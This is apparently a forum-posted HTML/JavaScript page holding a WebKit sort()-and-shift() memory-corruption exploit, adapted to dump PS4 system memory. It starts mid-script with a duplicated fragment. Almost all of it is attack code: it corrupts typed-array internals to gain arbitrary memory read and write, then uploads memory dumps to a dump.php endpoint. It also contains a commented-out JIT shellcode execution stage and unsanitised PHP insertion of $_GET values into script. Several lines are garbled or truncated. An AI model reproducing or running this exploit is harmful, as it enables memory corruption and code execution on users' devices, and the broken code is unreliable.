//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>========*End *========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>
<html>
<body>
<script src="inc/utils.js"></script>
<script src="inc/jquery.js"></script>
<script type="text/javascript">
// global vars
var _gc, _cnt = 0;
function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;
// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);
// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
logAdd("myCompFunc(u32,3)");
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}
// call the vulnerable method - JSArray.sort(...)
a1.sort(myCompFunc);
// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
logAdd("a2.length = 0x" + len.toString(16));
if (len == a2len) { logAdd("error: 1"); return 1; }
//
// Part 2: creating corrupted JSValue which points to the (u32+0x1 address
//
// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
logAdd("myCompFunc(1,0)");
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
logAdd("myCompFunc(x,3)");
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}
a1.sort(myCompFunc);
// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x1
var c = a2.length;
logAdd("a2.length = 0x" + c.toString(16));
if (c != len + 0x1 { logAdd("error: 2"); a1[3] = 0; return 2; }
//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//
// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function("arg", " return 876543210 + " + (_cnt++) + ";");
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}
// generate JIT-code
for(var i=c-1; i >= 0; i--) { funcs[i](i); }
// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];
// allocate mo's property storage right after a3's buffer
Object.defineProperty(mo, "prop0", pd);
for(var i=1; i < 5; i++){
mo["prop"+i] = i;
}
// protect from GC
_gc.push(a3,mo,funcs);
// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
logAdd("myCompFunc(a3[3],2)");
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}
// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);
// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32; // GetterSetter.m_structure
u32.prop2 = 8; // 8 = JSType.GetterSetterType
u32.prop1 = a1[3]; // bypass JSCell::isGetterSetter()
// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;
// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
// check results: u32.length is taken from f's internals now
logAdd("u32.length = 0x" + u32.length.toString(16));
if (u32.length == u32len) { logAdd("error: 3"); return 3; }
//
// Part 4: getting the JIT-code memory address
//
// declare aux functions
var setU64 = function(offs, val) {
u32[offs] = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}
// get the memory address of u32
var u32addr = getObjAddr(u32);
logAdd("u32 address = 0x" + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
logAdd("u32 base = 0x" + u32base.toString(16));
// on x64 platforms we can't just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32's buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near "f"
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i - 6;
f2old = getU64(f2offs);
break;
}
}
logAdd("f2offs = 0x" + f2offs);
if (!f2) { return false; }
}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, "prop0", pd);
u32base = u32base0;
}
if (addr == null) return true;
// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);
// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, "prop0", pd);
u32base = addr;
logAdd("u32 new base = 0x" + u32base.toString(16));
return true;
}
// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr - u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr - u32base) >>> 2, val);
}
logAdd("u32 size: 0x" + u32.length.toString(16));
// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object
var xx = getU64from(u32base0+0x20);
var yy=0;
logAdd("verify base: 0x"+xx.toString(16) );
//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I'm using is always at +0x20 from
// the original base at +0x20.
// 1.70 PS4 = -0x30bf0 is the start of webkit
// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) = modules table
// If this crashes, try it 2-4 more times. It usually will work
// xx will be the base address of WebKit2
var xx = <?php print $_GET["base"];?>;
setBase(xx);
// This is where you set the block dumping size (number of u32)
//var maxsize=0x7000;
var maxsize=<?php print $_GET["chunk"];?>;
// This is where you set how many blocks you want to dump
var maxiters=<?php print $_GET["cnt"];?>;
for(var bb=0;bb<maxiters;bb++) {
var dump_data = "";
for(var aa=0;aa<(maxsize-1);aa++) {
// Manually create a string of data
dump_data += u32[(bb*maxsize)+aa].toString(16) +",";
}
dump_data+= u32[(maxsize-1)].toString(16); // Add the last one without a trailing comma
logAdd("data to string: finished");
// Currently this has to dump a seperate file per iteration
// I tried to concat them all into one file, but I was getting some weird overwriting and missing commas..
// It would be nice to get that fixed though.....
fname = "dump.php?name=dump-0x" + xx.toString(16) + "-" + bb;
$.ajax({
url : fname,
type: "POST",
data : dump_data,
success: function(data, textStatus, jqXHR)
{
logAdd("upload: success");
},
error: function (jqXHR, textStatus, errorThrown)
{
logAdd("upload fail: " + textStatus);
}
});
}
/* // read ((JSFunction)f).m_executable;
var jitObj = getU64(4);
logAdd("JIT object = 0x" + jitObj.toString(16));
// read ExecutableBase.m_jitCodeForCall
jitObj += 0x18;
var jitAddr = getU64from(jitObj);
logAdd("JIT address = 0x" + jitAddr.toString(16));
if (!jitAddr) { logAdd("error: 4"); return 4; }
//
// Part 5: payload execution
//
// create "empty" payload for Mac x64
var payload = U8toU32(new Uint8Array([
// custom part
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90, 0x90,0x90,0x90,0x90,
// ...
//
// payload returns 0x1234 // modify it to ensure that payload works
0x48,0xB8,0x34,0x12, 0x00,0x00,0x00,0x00, 0xFF,0xFF, // mov rax, 0xFFFF000000001234
// mandatory part
0x4D,0x8B,0x6D,0xD8, // mov r13, [r13-0x28] // webkit needs this
0xC3, // ret
0x90 // for 4-bytes alignment
]));
// make sure that u32.length is enough
if (payload.length > u32len) { logAdd("error: u32.length is not enough for payload"); return 5; }
// choose some place in f() JIT memory for payload
var jaddr = jitAddr + 0x40;
jaddr -= jaddr % 4;
// modify ((ExecutableBase)f).m_jitCodeForCall
setU64to(jitObj, jaddr);
logAdd("payload address = 0x" + jaddr.toString(16));
var res;
// copy our payload into the f() JIT memory
if (!setBase(jaddr)) { logAdd("error: 5"); return 5; }
logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
exchangeArrays(payload, u32, 0);
try {
// call payload
res = f(0);
}catch(e){
logAdd("Error 5: " + e);
}
// restore overwritten JIT memory
exchangeArrays(payload, u32, 0);
//logAdd("JIT data:<br/>" + ArrayToU8String(u32,0,16)); // for RnD
//
// Part 6: patching corrupted memory
//
// restore m_jitCodeForCall
setU64to(jitObj, jitAddr);
// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}
// delete corrupted property
delete mo.prop0;
// check that payload returns 0x1234
logAdd((res == 0x1234 ? "Ok:":"Fail:") + " f() = 0x" + res.toString(16));
if (res != 0x1234) { return 9; } // error
*/
}
catch(e) {
logAdd(e);
}
return 0;
}
// "Start" button onclick handler
function btnClick()
{
try {
logAdd("======== Start ========");
// check OS version
//if (navigator.platform != "MacIntel") { logAdd("<font color=red>This works for Mac OS X only!</>"); return; }
// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd("<br/>Attempt #" + i + ":");
if (tryExplMac64(i) == 0) break;
}
logAdd("<br/>========*End *========<br/><br/>");
}
catch(e) {
logAdd(e);
}
_log = null;
}
// print environment info
writeEnvInfo();
</script>
<button style="width:100px;" onclick="btnClick();">Start</button>
<br/><br/>
<div id="log"></div>
</body>
</html>
Copyright © 2024, NextGenUpdate.
All Rights Reserved.